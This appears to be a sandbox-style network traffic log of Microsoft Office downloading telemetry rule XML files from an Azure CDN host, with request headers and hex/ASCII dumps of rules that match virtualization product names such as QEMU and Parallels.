2024-10-05 12:34:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	57456	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:04 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:04 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 8d3bec0a-601e-0070-32fe-16a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123404Z-1657d5bbd48xdq5dkwwugdpzr000000000qg00000000n415 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:04 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	57455	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:04 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:04 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:04 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: b0fdb72d-401e-0015-37ce-160e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123404Z-1657d5bbd48tzspvqynhg14aes00000000u0000000009nzs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:04 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	57457	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:04 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:04 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8d044b15-901e-00ac-3902-17b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123404Z-1657d5bbd4824mj9d6vp65b6n400000000qg0000000097u3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:05 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	57458	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:04 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:04 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 4da5c699-a01e-0070-198c-15573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123404Z-15767c5fc55whfstvfw43u8fp40000000e1g00000000pay7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:05 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	57459	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:05 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:05 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 0377c3fc-101e-000b-65dc-165e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123405Z-1657d5bbd48tzspvqynhg14aes00000000t000000000bm5m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:05 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	57461	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:05 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:05 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 285c7e33-c01e-008e-718c-157381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123405Z-15767c5fc55qdcd62bsn50hd6s0000000dvg000000008urv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:05 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	57460	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:05 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:05 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a5e58c1d-b01e-00ab-5ac9-16dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123405Z-1657d5bbd48xdq5dkwwugdpzr000000000vg000000005zt0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:05 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	57462	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:05 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:05 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 1cc309a5-e01e-0071-358c-1508e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123405Z-15767c5fc55gs96cphvgp5f5vc0000000e0g00000000424q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:05 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	57463	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:05 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:05 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 04c46130-501e-0064-028c-151f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123405Z-15767c5fc55gs96cphvgp5f5vc0000000dzg0000000073p4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:05 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	57464	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:05 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:05 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6a902a44-301e-005d-788c-15e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123405Z-15767c5fc552g4w83buhsr3htc0000000e2000000000axfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:05 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	57466	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:06 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 4da5c882-a01e-0070-628c-15573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123406Z-15767c5fc55qdcd62bsn50hd6s0000000dq000000000s3gy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	57467	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:06 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
